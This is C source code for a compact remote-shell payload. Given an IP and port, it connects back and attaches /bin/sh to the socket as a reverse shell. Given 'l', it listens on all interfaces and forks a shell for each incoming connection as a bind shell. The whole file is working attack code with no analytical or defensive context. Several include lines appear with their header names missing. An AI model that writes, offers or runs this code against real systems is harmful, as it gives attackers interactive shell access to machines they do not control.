#if !DEBUG #define __set_errno(x) do {} while(0) #include #include #endif #include #include #include #include #include #include #include #include #include #if !DEBUG #include "syscallhack.h" #endif #define LISTEN_MODE_SUPPORT 1 static inline int myatoi(const char *p) { int k = 0; while (*p) { k = k * 10 + *p++ - '0'; } return k; } static inline in_addr_t my_inet_addr(const char *p) { in_addr_t r = 0; int k = 0, shift = 24; while (*p) { char c = *p++; if (c == '.') { r |= k << shift; shift -= 8; k = 0; } else k = k * 10 + c - '0'; } return htonl(r | (k << shift)); } int main_entry(int argc, char **argv, char **envv) { int s; struct sockaddr_in sin; s = socket(AF_INET, SOCK_STREAM, 0); bzero(&sin, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(myatoi(argv[2])); #if LISTEN_MODE_SUPPORT if (argv[1][0] == 'l') { /* bind shell */ #if DEBUG sin.sin_addr.s_addr = INADDR_LOOPBACK; #else sin.sin_addr.s_addr = INADDR_ANY; #endif if (bind(s, (struct sockaddr *) &sin, sizeof(sin)) == 0) { listen(s, 5); for (;;) { socklen_t slen = sizeof(sin); int ns = accept(s, (struct sockaddr *) &sin, &slen); pid_t pid = fork(); if (pid == 0) { /* client */ close(s); s = ns; goto shell; } /* parent or error */ signal(SIGCHLD, SIG_IGN); /* prevent zombies */ close(ns); } } } else #endif { /* connectback shell */ sin.sin_addr.s_addr = my_inet_addr(argv[1]); if (connect(s, (struct sockaddr *) &sin, sizeof(sin)) == 0) { shell: { static const char shellname[] = "/bin/sh"; const char * const nargv[2] = {shellname, 0}; int i; for (i = 0; i < 3; i++) dup2(s, i); execve(nargv[0], nargv, envv); } } } exit(0); }